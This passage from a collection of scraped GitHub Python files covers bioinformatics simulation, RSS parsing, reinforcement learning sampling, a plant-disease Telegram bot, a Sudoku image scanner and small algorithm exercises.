timedelta\n\nlogger = logging.getLogger(__name__)\n\n\n@click.command()\n@click.option(\n \"--counts_path\",\n help=\"chromosome counts file path\",\n type=click.Path(exists=True, file_okay=True, readable=True),\n required=True,\n)\n@click.option(\n \"--tree_path\",\n help=\"path to the tree file\",\n type=click.Path(exists=True, file_okay=True, readable=True),\n required=True,\n)\n@click.option(\n \"--work_dir\",\n help=\"directory to create the chromevol input in\",\n type=click.Path(exists=False),\n required=True,\n)\n@click.option(\n \"--simulations_dir\",\n help=\"directory to create the simulations in\",\n type=click.Path(exists=False),\n required=True,\n)\n@click.option(\n \"--log_path\",\n help=\"path to log file of the script\",\n type=click.Path(exists=False),\n required=True,\n)\n@click.option(\n \"--parallel\",\n help=\"indicator weather to run the pipeline in parallel (1) with one idle parent job or sequentially\",\n type=bool,\n required=False,\n default=False,\n)\n@click.option(\n \"--ram_per_job\",\n help=\"memory size per job to parallelize on\",\n type=int,\n required=False,\n default=1,\n)\n@click.option(\n \"--queue\",\n help=\"queue to submit jobs to\",\n type=str,\n required=False,\n default=\"itaym\",\n)\n@click.option(\n \"--max_parallel_jobs\",\n help=\"maximal jobs to submit at the same time from the parent process\",\n type=int,\n required=False,\n default=1000,\n)\n@click.option(\n \"--simulations_num\",\n help=\"number of datasets to simulate\",\n type=int,\n required=False,\n default=100,\n)\n@click.option(\n \"--trials_num\",\n help=\"number of datasets to attempt to simulate\",\n type=int,\n required=False,\n default=1000,\n)\n@click.option(\n \"--use_model_selection\",\n help=\"indicator of weather model selection should be used\",\n type=bool,\n required=False,\n default=True,\n)\ndef simulate(\n counts_path: str,\n tree_path: str,\n work_dir: str,\n simulations_dir: str,\n log_path: str,\n parallel: bool,\n ram_per_job: int,\n queue: str,\n max_parallel_jobs: int,\n simulations_num: int,\n trials_num: int,\n use_model_selection: bool,\n):\n\n logging.basicConfig(\n level=logging.INFO,\n format=\"%(asctime)s module: %(module)s function: %(funcName)s line %(lineno)d: %(message)s\",\n handlers=[logging.StreamHandler(sys.stdout), logging.FileHandler(log_path)],\n force=True, # run over root logger settings to enable simultaneous writing to both stdout and file handler\n )\n\n res = os.system(f\"dos2unix {counts_path}\")\n res = os.system(f\"dos2unix {tree_path}\")\n\n start_time = timer()\n\n os.makedirs(work_dir, exist_ok=True)\n pipeline = Pipeline(\n work_dir=work_dir, parallel=parallel, ram_per_job=ram_per_job, queue=queue, max_parallel_jobs=max_parallel_jobs\n )\n\n logger.info(f\"selecting the best chromevol model\")\n model_selection_dir = f\"{work_dir}/model_selection/\"\n if os.path.exists(model_selection_dir):\n for model_name in os.listdir(model_selection_dir):\n out_path = f\"{model_selection_dir}{model_name}/parsed_output.json\"\n if os.path.exists(out_path):\n os.remove(out_path)\n\n model_to_weight = pipeline.get_model_weights(\n counts_path=counts_path,\n tree_path=tree_path,\n use_model_selection=use_model_selection,\n )\n best_model_results_path = list(model_to_weight.keys())[0]\n\n os.makedirs(simulations_dir, exist_ok=True)\n logger.info(f\"simulating data based on selected model = {best_model_results_path}\")\n simulations_dirs = pipeline.get_simulations(\n simulations_dir=simulations_dir,\n orig_counts_path=counts_path,\n tree_path=tree_path,\n model_parameters_path=best_model_results_path,\n simulations_num=simulations_num,\n trials_num=trials_num,\n )\n\n print(f\"simulations were generated in {simulations_dir}\")\n\n end_time = timer()\n\n logger.info(f\"duration = {timedelta(seconds=end_time-start_time)}\")\n\n\nif __name__ == \"__main__\":\n simulate()\n","repo_name":"halabikeren/ploidb","sub_path":"simulate.py","file_name":"simulate.py","file_ext":"py","file_size_in_byte":4213,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"71307696729","text":"import os\n\n\nimport exeptions\n\nimport requests\n\nfrom bs4 import BeautifulSoup\n\n\nclass RssParser(object):\n container = 'item'\n title = 'title'\n link = 'guid'\n description = 'description'\n public_date = 'pubdate'\n category = 'category'\n\n def _get_target(self, content, tag_name):\n \"\"\"Base method for finding and getting value of xml attr\n Taks content (xml-three) and tag_name (string)\n Return value of this tag\n \"\"\"\n\n expression = getattr(self, tag_name, None)\n\n if not expression:\n raise exeptions.ParserError(\n \"Parser couldn't find excpression for tag name: %s\"\n %(tag_name)\n )\n\n element = content.find(expression)\n\n if element:\n tag_value = element.get_text()\n else:\n tag_value = None\n\n return tag_value\n \n def separate_context(self, content):\n \"\"\"Taks current object and xml-three of bs4 from rss source\n Returns list of artical\n \"\"\"\n\n if(len(content) <= 0):\n raise exeptions.EmptyContent(\n \"Parser can't work with empty content!\"\n )\n\n items = content.findAll(self.container)\n\n if(len(items) <= 0):\n raise exeptions.ContainerNotFound(\n \"Container not found!\"\n )\n\n return items\n\n def get_title(self, item_content):\n \"\"\"Taks current object and item content\n Returns text of title\n \"\"\"\n return self._get_target(item_content, 'title')\n\n def get_link(self, item_content):\n \"\"\"Taks current object and item content\n Returns text of link\n \"\"\"\n return self._get_target(item_content, 'link')\n\n def get_description(self, item_content):\n \"\"\"Taks current object and item content\n Returns text of description\n \"\"\"\n return self._get_target(item_content, 'description')\n\n def get_public_date(self, item_content):\n \"\"\"Taks current object and item content\n Returns text of public date\n \"\"\"\n return self._get_target(item_content, 'public_date')\n\n def get_category(self, item_content):\n \"\"\"Taks current object and item content\n Returns text of category\n \"\"\"\n return self._get_target(item_content, 'category')\n\n\nclass Artical(object):\n def __init__(self, **kwargs):\n self.title = kwargs.get('title')\n self.link = kwargs.get('link')\n self.description = kwargs.get('description')\n self.public_date = kwargs.get('public_date')\n self.category = kwargs.get('category')\n\n def __str__(self):\n return '%s;%s;%s;%s;%s;\\n' %(self.link, self.title, \n self.public_date, self.category, self.description)\n\n\ndef parser(cls_parser=None, cls_data=None, content=None):\n \"\"\"This is main parser function\n Taks class of parser, class of data definition and content\n Return list of data definition objects\n \"\"\"\n\n if((cls_parser is None) or (cls_data is None) or\n (content is None)):\n raise exception.ParserError(\"Required arguments wasn't gave\")\n\n items = cls_parser.separate_context(content)\n data = []\n\n for item in items:\n title = cls_parser.get_title(item)\n link = cls_parser.get_link(item)\n description = cls_parser.get_description(item)\n category = cls_parser.get_category(item)\n public_date = cls_parser.get_public_date(item)\n\n data.append(cls_data(title=title,\n link=link,\n description=description,\n category=category,\n public_date=public_date))\n\n return data\n\ndef stream(file_name, cls_parser=RssParser(), cls_data=Artical):\n \"\"\"\n \"\"\"\n\n links_file = open(file_name, 'r')\n source_links = links_file.read().split('\\n')\n\n agrigate_data = {}\n\n for rss_url in source_links:\n\n ## Comment in file of links\n if rss_url[0] == '#':\n continue\n\n response = requests.get(rss_url)\n channel_data = response.content\n\n if len(channel_data) <= 0:\n raise RequestError(\"Chanal %s returns empty response\" \n %(rss_url))\n\n content = BeautifulSoup(channel_data, \"lxml-xml\")\n\n try:\n items = parser(cls_parser, cls_data, content)\n agrigate_data[rss_url] = items\n except exeptions.ContainerNotFound:\n continue\n except exeptions.EmptyContent:\n continue\n\n return agrigate_data","repo_name":"FORSEN-ROCK/rss-scaner","sub_path":"scaner/data_stream.py","file_name":"data_stream.py","file_ext":"py","file_size_in_byte":4677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35983675974","text":"import time\n\nn, k = list(map(int, input().split()))\n\n\ndef solution(n, k):\n numbers = [i for i in range(1, n+1)]\n return 1\n\n\ns = time.time()\nprint(solution(n, k))\nprint(time.time()-s)\n","repo_name":"TERADA-DANTE/algorithm","sub_path":"python/acmicpc/unsolved/1168.py","file_name":"1168.py","file_ext":"py","file_size_in_byte":189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21600014641","text":"#!/usr/bin/python3\n\"\"\" sends and url and displays value\"\"\"\nimport requests\nimport sys\n\nif __name__ == \"__main__\":\n listargs = sys.argv\n req = requests.get(listargs[1])\n if req.status_code > 400:\n print('Error code: {}'.format(req.status_code))\n else:\n print(req.text)\n","repo_name":"Karenahv/holbertonschool-higher_level_programming","sub_path":"0x11-python-network_1/7-error_code.py","file_name":"7-error_code.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"10516480268","text":"\"\"\"\nTest API endpoints for status code == 200\n\"\"\"\n# %% codecell\n#################################################\nimport json\n\nimport pytest\nimport requests\n\n# %% codecell\n#################################################\n\nbase_url = \"https://algotrading.ventures/api/v1\"\nurl_dict = ({\n 'treasuries': '/econ/treasuries',\n 'cboe_mmo_raw': '/cboe/mmo/raw',\n 'cboe_mmo_top': '/cboe/mmo/top',\n 'cboe_mmo_syms': '/cboe/mmo/syms',\n 'st_stream': '/stocktwits/user_stream',\n 'st_trend': '/stocktwits/trending',\n 'iex_quotes_raw': '/iex_eod_quotes',\n 'new_symbols': '/symbols/new',\n 'all_symbols': '/symbols/all'\n})\n\ndef test_endpoints():\n \"\"\"Test all endppoints.\"\"\"\n for endpoint in url_dict:\n url = f\"{base_url}{url_dict[endpoint]}\"\n get = requests.get(url)\n\n assert get.status == 200\n","repo_name":"webclinic017/algotrading-20","sub_path":"testing/api_test.py","file_name":"api_test.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"27618752452","text":"\nimport cv2\nimport timm\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport albumentations as A\nimport albumentations.pytorch as AP\nfrom albumentations import (Compose)\nimport telebot\n\ntoken = 'Put your token here'\n\nclass MyMobileV3Net(torch.nn.Module):\n def __init__(self, model_name='mobilenetv3_large_100', pretrained=False):\n super().__init__()\n self.model = timm.create_model(model_name, pretrained=pretrained)\n\n self.model.classifier = torch.nn.Sequential(\n torch.nn.Linear(1280, 512),\n torch.nn.ReLU(),\n torch.nn.Linear(512, 7),\n )\n\n def forward(self, x):\n x = self.model(x)\n return x\n\nclass_names = ['Bacterial_spot', 'Black_mold', 'Early_blight', 'Healthy', 'Late_blight', 'Mosaic_virus', 'Septoria_spot']\n\npred_transforms = Compose([\n A.Resize(224, 224),\n A.Normalize(\n mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225],\n ),\n AP.ToTensorV2()])\n\ndevice = torch.device('cpu')\nmodel = MyMobileV3Net('mobilenetv3_large_100', pretrained=False)\n\ndef predict_image(image):\n image_tensor = pred_transforms(image=image)[\"image\"].unsqueeze(0)\n image_tensor = image_tensor.clone().detach()\n input = image_tensor.to(device)\n outputs = model(input)\n _, preds = torch.max(outputs, 1)\n prob = F.softmax(outputs, dim=1)\n top_p, top_class = prob.topk(1, dim=1)\n result = class_names[int(preds.cpu().numpy())]\n return result\n\nbot = telebot.TeleBot(token)\n\n@bot.message_handler(content_types=[\"photo\"])\ndef photo(message):\n print('message.photo =', message.photo)\n fileID = message.photo[-1].file_id\n print('fileID =', fileID)\n file_info = bot.get_file(fileID)\n print('file.file_path =', file_info.file_path)\n downloaded_file = bot.download_file(file_info.file_path)\n\n with open(\"image.jpg\", 'wb') as new_file:\n new_file.write(downloaded_file)\n\n image = cv2.imread(\"image.jpg\")\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n prediction = predict_image(image)\n\n bot.send_message(message.chat.id, 'Classified as: ' + prediction)\n print('classified as: ' + prediction)\n print('waiting for message...')\n\n\ndef main():\n model.load_state_dict(torch.load('model/mobilenetv3_large_100_best.pth', map_location=torch.device('cpu')))\n model.eval()\n model.to(device)\n print('waiting for message...')\n bot.polling(none_stop=True)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"miksadikov/otus-deep_learning-final_project","sub_path":"vegecheck-bot.py","file_name":"vegecheck-bot.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8664555229","text":"import numpy as np\nfrom others.sampler_v2 import batch_sampler\nfrom others.utils import StructEnv\nfrom others.utils import StructEnv_AIRL\nfrom network_models.policy_net_continuous_discrete import Policy_net\nfrom network_models.AIRL_net_discriminator_blend import Discriminator\nimport ray\nimport os\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nimport tensorflow as tf\nimport gym\n\n\nray.init()\n\n\n@ray.remote\ndef test_function_gym(args_envs, network_values, discrete_env_check, EPISODE_LENGTH, i, units_p_i, units_v_i):\n tf.autograph.set_verbosity(\n 0, alsologtostdout=False\n )\n tf.compat.v1.logging.set_verbosity(\n tf.compat.v1.logging.ERROR\n )\n tf.reset_default_graph()\n units_p = units_p_i\n units_v = units_v_i\n\n sampler = batch_sampler()\n\n env = StructEnv(gym.make(args_envs))\n env.reset()\n\n env.seed(0)\n\n Policy_a = Policy_net('Policy_a_{}'.format(i), env, units_p, units_v)\n net_param = Policy_a.get_trainable_variables()\n net_para_values = network_values\n\n net_operation = []\n for i in range(len(net_param)):\n net_operation.append(tf.assign(net_param[i], net_para_values[i]))\n\n with tf.Session() as sess:\n\n sess.run(tf.global_variables_initializer())\n sess.run(net_operation)\n\n episode_length = 0\n\n render = False\n sampler.sampler_reset()\n reward_episode_counter = []\n\n while True:\n\n episode_length += 1\n act, v_pred = Policy_a.act(obs=[env.obs_a])\n\n if discrete_env_check:\n act = np.asscalar(act)\n else:\n act = np.reshape(act, env.action_space.shape)\n\n v_pred = np.asscalar(v_pred)\n\n next_obs, reward, done, info = env.step(act)\n sampler.sampler_traj(env.obs_a.copy(), act, reward, v_pred)\n\n if render:\n env.render()\n\n if done:\n sampler.sampler_total(0)\n reward_episode_counter.append(env.get_episode_reward())\n env.reset()\n else:\n env.obs_a = next_obs.copy()\n\n if episode_length >= EPISODE_LENGTH:\n last_value = np.asscalar(Policy_a.get_value([next_obs]))\n sampler.sampler_total(last_value)\n env.reset()\n break\n\n return sampler.sampler_get_parallel(), np.mean(reward_episode_counter)\n\n\n@ray.remote\ndef AIRL_test_function_gym(args_envs, network_policy_values, network_discrim_values, discrete_env_check, EPISODE_LENGTH,\n i, units_p_i, units_v_i, lr_d, num_batches):\n tf.autograph.set_verbosity(\n 0, alsologtostdout=False\n )\n tf.compat.v1.logging.set_verbosity(\n tf.compat.v1.logging.ERROR\n )\n tf.reset_default_graph()\n units_p = units_p_i\n units_v = units_v_i\n\n sampler = batch_sampler()\n\n env = StructEnv_AIRL(gym.make(args_envs))\n env.reset()\n\n env.seed(0)\n\n Policy_a = Policy_net('Policy_a_{}'.format(i), env, units_p, units_v)\n Discrim_a = Discriminator('Discriminator_a_{}'.format(i), env, lr_d, num_batches)\n\n network_policy_param = Policy_a.get_trainable_variables()\n network_discrim_param = Discrim_a.get_trainable_variables()\n\n network_policy_operation = []\n for i in range(len(network_policy_param)):\n network_policy_operation.append(tf.assign(network_policy_param[i], network_policy_values[i]))\n\n network_discrim_operation = []\n for i in range(len(network_discrim_param)):\n network_discrim_operation.append(tf.assign(network_discrim_param[i], network_discrim_values[i]))\n\n with tf.Session() as sess:\n\n sess.run(tf.global_variables_initializer())\n sess.run(network_policy_operation)\n sess.run(network_discrim_operation)\n\n episode_length = 0\n\n render = False\n sampler.sampler_reset()\n reward_episode_counter = []\n reward_episode_counter_airl = []\n\n while True:\n\n episode_length += 1\n act, v_pred = Policy_a.act(obs=[env.obs_a])\n\n if discrete_env_check:\n act = act.item()\n else:\n act = np.reshape(act, env.action_space.shape)\n\n v_pred = v_pred.item()\n\n next_obs, reward, done, info = env.step(act)\n\n agent_sa_ph = sess.run(Policy_a.act_probs, feed_dict={Policy_a.obs: [env.obs_a.copy()],\n Policy_a.acts: [act]})\n\n reward_a = Discrim_a.get_rewards([env.obs_a.copy()], [act], agent_sa_ph)\n reward_a = reward_a.item()\n env.step_airl(reward_a)\n\n sampler.sampler_traj(env.obs_a.copy(), act, reward_a, v_pred)\n\n if render:\n env.render()\n\n if done:\n sampler.sampler_total(0)\n reward_episode_counter.append(env.get_episode_reward())\n reward_episode_counter_airl.append(env.get_episode_reward_airl())\n env.reset()\n else:\n env.obs_a = next_obs.copy()\n\n if episode_length >= EPISODE_LENGTH:\n last_value = np.asscalar(Policy_a.get_value([next_obs]))\n sampler.sampler_total(last_value)\n env.reset()\n break\n\n return sampler.sampler_get_parallel(), np.mean(reward_episode_counter), np.mean(reward_episode_counter_airl)\n","repo_name":"FangjianLi/PPO-and-AIRL-with-parallel-sampling","sub_path":"others/interact_with_envs.py","file_name":"interact_with_envs.py","file_ext":"py","file_size_in_byte":5413,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"1418849246","text":"from matplotlib import pyplot as plt\nfrom IPython import display\nimport gym\n\nseed = 543\ndef fix(env, seed):\n env.seed(seed)\n env.action_space.seed(seed)\n\n# fix the environment Do not revise this !!!\nenv = gym.make('LunarLander-v2')\nfix(env, seed)\n\nprint(env.observation_space)\nprint(env.action_space)\n\n\"\"\"`Discrete(4)` implies that there are four kinds of actions can be taken by agent.\n- 0 implies the agent will not take any actions\n- 2 implies the agent will accelerate downward\n- 1, 3 implies the agent will accelerate left and right\n\nNext, we will try to make the agent interact with the environment.\nBefore taking any actions, we recommend to call `reset()` function to reset the environment. Also, this function will return the initial state of the environment.\n\"\"\"\n\ninitial_state = env.reset()\nprint(initial_state)\n\n\"\"\"Then, we try to get a random action from the agent's action space.\"\"\"\n\nrandom_action = env.action_space.sample()\nprint(random_action)\n\n\"\"\"More, we can utilize `step()` to make agent act according to the randomly-selected `random_action`.\nThe `step()` function will return four values:\n- observation / state\n- reward\n- done (True/ False)\n- Other information\n\"\"\"\n\nobservation, reward, done, info = env.step(random_action)\n\nprint(done)\n\n\"\"\"### Reward\n\n> Landing pad is always at coordinates (0,0). Coordinates are the first two numbers in state vector. Reward for moving from the top of the screen to landing pad and zero speed is about 100..140 points. If lander moves away from landing pad it loses reward back. Episode finishes if the lander crashes or comes to rest, receiving additional -100 or +100 points. Each leg ground contact is +10. Firing main engine is -0.3 points each frame. Solved is 200 points.\n\"\"\"\n\nprint(reward)\n\n\"\"\"### Random Agent\nIn the end, before we start training, we can see whether a random agent can successfully land the moon or not.\n\"\"\"\n\nenv.reset()\n\nimg = plt.imshow(env.render(mode='rgb_array'))\n\ndone = False\nwhile not done:\n action = env.action_space.sample()\n observation, reward, done, _ = env.step(action)\n\n img.set_data(env.render(mode='rgb_array'))\n display.display(plt.gcf())\n display.clear_output(wait=True)\n","repo_name":"EdwardLeeMacau/ntu_ml","sub_path":"machine_learning_spring_2022/hw12_reinforcement_learning/demonstration.py","file_name":"demonstration.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"15236677064","text":"import cv2\r\nimport numpy as np\r\nfrom scipy.interpolate import griddata\r\nfrom collections import deque\r\nimport test_keras_model as model\r\n\r\n#colors\r\nred = (0,0,255)\r\ngreen = (0,255,0)\r\nblue = (255,0,0)\r\nblack = (0,0,0)\r\nwhite = (255,255,255)\r\n#read Image\r\ndef readImage(name):\r\n img = cv2.imread(\"./\"+name+\".jpg\")\r\n img = cv2.resize(img, (640,480))\r\n return img\r\n\r\ndef preProcessing(img):\r\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n blur_img = cv2.GaussianBlur(img, (5,5), 0)\r\n thresh_blur = cv2.adaptiveThreshold(blur_img, 255, 1, 1, 19, 5)\r\n return thresh_blur\r\n\r\ndef findSquare(Modified_Sudoku_Image):\r\n Temp_Image = Modified_Sudoku_Image.copy()\r\n #cv2.imshow('Temp_Image', Temp_Image)\r\n ###Create a copy of the Modified_Sudoku_Image to implement cv2.findContours() on,\r\n ## since after applying this method the image gets distorted for some reason.\r\n ###We are using the .copy() method to create the image since using something like\r\n ## img1 = img2, simply creates an object pointing to the original one. So altering\r\n ## either of the images also alters the other image and hence using it makes no sense\r\n Contours, Hierarchy = cv2.findContours(Temp_Image, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\r\n #OGimg = cv2.cvtColor(Temp_Image,cv2.COLOR_GRAY2RGB)\r\n #cv2.drawContours(OGimg,Contours,-1,(0,255,0),1)\r\n #cv2.imshow(\"Modified_Sudoku_Image.png\", OGimg)\r\n ###Find the contours in the image\r\n ###cv2.findContours(image, mode, method[, contours[, hierarchy[, offset]]])\r\n ###(image) ~input binary image\r\n ###Refer the link below for more info\r\n ##http://docs.opencv.org/2.4/modules/imgproc/doc/structural_analysis_and_shape_descriptors.html#findcontours\r\n Required_Square_Contour = None\r\n Required_Contour_Area = 0\r\n for Contour in Contours:\r\n Contour_Area = cv2.contourArea(Contour)\r\n ###Calculates the area enclosed by the vector of 2D points denoted by\r\n ## the variable Contour\r\n if Contour_Area > 500:\r\n if Contour_Area > Required_Contour_Area:\r\n Required_Contour_Area = Contour_Area\r\n Required_Square_Contour = Contour\r\n ###Code for finding out the largest contour (on the basis of area)\r\n Perimeter_of_Contour = cv2.arcLength(Required_Square_Contour, True)\r\n ###Calculates a contour perimeter or a curve length\r\n ###cv2.arcLength(curve, closed)\r\n ###(curve) ~Input vector of 2D points\r\n ###(closed) ~Flag indicating whether the curve is closed or not\r\n Temp_Square_Countour = cv2.approxPolyDP(Required_Square_Contour, 0.05*Perimeter_of_Contour, True)\r\n ###Approximates a polygonal curve(s) with the specified precision\r\n ###cv2.approxPolyDP(curve, epsilon, closed[, approxCurve])\r\n Temp_Square_Countour = Temp_Square_Countour.tolist()\r\n Approx_Square_Countour = []\r\n for Temp_Var_1 in Temp_Square_Countour:\r\n for Temp_Var_2 in Temp_Var_1:\r\n Temp_Var_2[0], Temp_Var_2[1] = Temp_Var_2[1], Temp_Var_2[0]\r\n Approx_Square_Countour.append(Temp_Var_2)\r\n ###Temp_Square_Countour has the coordinates inside a list within a list,\r\n ## hence to extract it we're doing this. Also we're changing (row, column) i.e.\r\n ## (y, x) to (column, row) i.e. (x, y)\r\n ###This was done because the griddata function from the scipy library\r\n ## takes in values as (column, row) i.e. (x,y) instead of (row, column) i.e (y,x)\r\n Approx_Square_Countour = deque(Approx_Square_Countour)\r\n ###Applying deque function on anything converts it into a queue and we can use\r\n ## functions like popleft() etc on it, as if it were a queue\r\n Min_Sum = 9999999\r\n ###Initialized to a fairly large number as we want minimum\r\n Counter = -1\r\n ###Used as counter to keep tract of the iteration number so that the\r\n ## location of top-left coordinate can be stored in the variable Loc\r\n Loc = 0\r\n for i in Approx_Square_Countour:\r\n Counter+=1\r\n if Min_Sum > sum(i):\r\n Min_Sum = sum(i)\r\n Loc = Counter\r\n if Loc != 0:\r\n for i in range(0,Loc):\r\n Approx_Square_Countour.append(Approx_Square_Countour[0])\r\n Approx_Square_Countour.popleft()\r\n ###If the sum of the x and y coordinates is minimum it would automatically\r\n ## mean that the coordinate refers to the top-left point of the square.\r\n ###We know the coordinates of the square are stored in a cyclic fashion,\r\n ## hence if we know the location of the top-left coordinate then we can\r\n ## re-arrage it by appending the 1st coordinate and then poping it.\r\n ## Example: (4,1,2,3)\r\n ## Now appending 1st loc we get (4,1,2,3,4)\r\n ## Now popping 1st loc we get (1,2,3,4) which is the required result\r\n ## That is what this code does to rearrange the coordinates\r\n Approx_Square_Countour[1], Approx_Square_Countour[3] = Approx_Square_Countour[3], Approx_Square_Countour[1]\r\n ###Flipping the location of 1st and 3rd coordinates makes the coordinate\r\n ## pointer go counter-clockwise. We do this because opencv stores the\r\n ## coordinate values in a clockwise fashion, however griddata function from\r\n ## scipy library requires it to be in a counter-clockwise fashion\r\n #cv2.drawContours(Modified_Sudoku_Image,[Approx_Square_Countour],0,255,10)\r\n Mask = np.zeros((Modified_Sudoku_Image.shape),np.uint8)\r\n ###Creates a black image of the same size as the input image\r\n cv2.drawContours(Mask,[Required_Square_Contour],0,255,-1)\r\n cv2.drawContours(Mask,[Required_Square_Contour],0,0,2)\r\n ###Overwrites the black image with the area of the sudoku in white\r\n Modified_Sudoku_Image = cv2.bitwise_and(Modified_Sudoku_Image,Mask)\r\n ###Compares the Modified_Sudoku_Image and the Mask and blackens all parts\r\n ## of the image other than the sudoku\r\n #cv2.imshow('Modified_Sudoku_Image', Modified_Sudoku_Image)\r\n return Modified_Sudoku_Image, Approx_Square_Countour\r\n\r\n\r\ndef stretchSquare(Modified_Sudoku_Image, Square_Contour):\r\n grid_x, grid_y = np.mgrid[0:449:450j, 0:449:450j]\r\n ###Creates grid_x such that it is a 2D array having all values equal to their corresponding row value\r\n ## Creates grid_y such that it is a 2D array having all values equal to their corresponding column value\r\n destination = np.array([[0,0],[0,449],[449,449],[449,0]])\r\n ###Denotes the coordinates of the corners of the destination onto which we want to map the sudoku\r\n source = np.asarray(Square_Contour)\r\n ###Denotes the coordinates of the corners of the sudoku as present in the source\r\n grid_z = griddata(destination, source, (grid_x, grid_y), method='cubic')\r\n map_x = np.append([], [ar[:,1] for ar in grid_z]).reshape(450,450)\r\n map_y = np.append([], [ar[:,0] for ar in grid_z]).reshape(450,450)\r\n ###Converts the values to stretch/contract the image and accordingly adjust pixel values\r\n map_x_32 = map_x.astype('float32')\r\n map_y_32 = map_y.astype('float32')\r\n ###Converts the values to the specified type\r\n Warped_Sudoku_Image = cv2.remap(Modified_Sudoku_Image, map_x_32, map_y_32, cv2.INTER_CUBIC)\r\n ###Used to remap the sudoku from the original image into a new image of\r\n ## size 450x450, this size was chosen because identifying each small block becomes easier\r\n ## since it'll have a size of 50x50\r\n Warped_Sudoku_Image = cv2.bitwise_not(Warped_Sudoku_Image)\r\n ###Inverts the color scheme\r\n #cv2.imshow(\"Warped_Sudoku_Image.png\", Warped_Sudoku_Image)\r\n cv2.imwrite(\"Temp_Storage/Warped_Sudoku_Image.png\", Warped_Sudoku_Image)\r\n return Warped_Sudoku_Image\r\n\r\ndef convertGrid(Warped_Sudoku_Image):\r\n ROI_X_Width = 28\r\n ROI_Y_Height = 28\r\n\r\n Modified_Sudoku_Image = cv2.adaptiveThreshold(Warped_Sudoku_Image, 255, 1, 1, 11, 5)\r\n Contours,Hierarchy = cv2.findContours(Modified_Sudoku_Image,cv2.RETR_LIST,cv2.CHAIN_APPROX_SIMPLE)\r\n Sudoku_Grid = [[0] * 9 for i in range(9)]\r\n for Contour in Contours:\r\n if cv2.contourArea(Contour)>30 and cv2.contourArea(Contour)<1000:\r\n [Abscissa,Ordinate,X_Width,Y_Height] = cv2.boundingRect(Contour)\r\n A, O, X, Y = Abscissa, Ordinate, X_Width, Y_Height\r\n if Y_Height>20 and Y_Height<35:\r\n Abscissa -= 9\r\n Ordinate -= 5\r\n X_Width += 15\r\n Y_Height += 8\r\n cv2.rectangle(Warped_Sudoku_Image,(Abscissa,Ordinate),(Abscissa+X_Width,Ordinate+Y_Height),(0,255,0),2)\r\n Region_of_Interest = Modified_Sudoku_Image[Ordinate:Ordinate+Y_Height,Abscissa:Abscissa+X_Width]\r\n Region_of_Interest = cv2.resize(Region_of_Interest,(ROI_X_Width,ROI_Y_Height))\r\n Region_of_Interest = Region_of_Interest.reshape((1,ROI_X_Width*ROI_Y_Height))\r\n Region_of_Interest = np.float32(Region_of_Interest)\r\n result = model.pred(Region_of_Interest)\r\n Sudoku_Grid[(O + Y) // 50][A // 50] = result\r\n return Sudoku_Grid\r\n\r\n\r\ndef flowChart(image_name):\r\n img = readImage(image_name)\r\n img = preProcessing(img)\r\n Mod, cnt = findSquare(img)\r\n Wimg = stretchSquare(Mod, cnt)\r\n x = convertGrid(Wimg)\r\n cv2.imshow(\"y\", Wimg)\r\n cv2.waitKey(5000)\r\n return x","repo_name":"Karthik-Shenoy/Sudoku-Solver-Computer-Vision","sub_path":"Scanner.py","file_name":"Scanner.py","file_ext":"py","file_size_in_byte":9259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30089816124","text":"#\n# @lc app=leetcode.cn id=680 lang=python3\n#\n# [680] 验证回文字符串 Ⅱ\n#\n# https://leetcode-cn.com/problems/valid-palindrome-ii/description/\n#\n# algorithms\n# Easy (39.90%)\n# Total Accepted: 54.3K\n# Total Submissions: 136.1K\n# Testcase Example: '\"aba\"'\n#\n# 给定一个非空字符串 s,最多删除一个字符。判断是否能成为回文字符串。\n# \n# 示例 1:\n# \n# \n# 输入: \"aba\"\n# 输出: True\n# \n# \n# 示例 2:\n# \n# \n# 输入: \"abca\"\n# 输出: True\n# 解释: 你可以删除c字符。\n# \n# \n# 注意:\n# \n# \n# 字符串只包含从 a-z 的小写字母。字符串的最大长度是50000。\n# \n# \n#\nclass Solution:\n def validPalindrome(self, s: str) -> bool:\n i,j = 0,len(s)-1\n while i < j and s[i] == s[j]:\n i += 1\n j -= 1\n if i >= j:\n return True\n \n def valid(s):\n if len(s) <= 1:\n return True\n i,j = 0,len(s)-1\n while i= j:\n return True\n else:\n return False\n\n return valid(s[i:j]) or valid(s[i+1:j+1])\n","repo_name":"wanggaa/leetcode","sub_path":"680.valid-palindrome-ii.py","file_name":"680.valid-palindrome-ii.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"274020297","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jan 25 12:16:15 2020\r\n\r\n@author: Pratiksha\r\n\"\"\"\r\n\r\nn=int(input())\r\ny=[]\r\ndef toString(List): \r\n return ''.join(List) \r\ndef permute(a, l, r): \r\n if l==r:\r\n if toString(a) not in y:\r\n y.append(toString(a))\r\n else: \r\n for i in range(l,r+1): \r\n a[l], a[i] = a[i], a[l] \r\n permute(a, l+1, r) \r\n a[l], a[i] = a[i], a[l]\r\n\r\nstring=\"\"\r\n\r\nfor i in range(n):\r\n 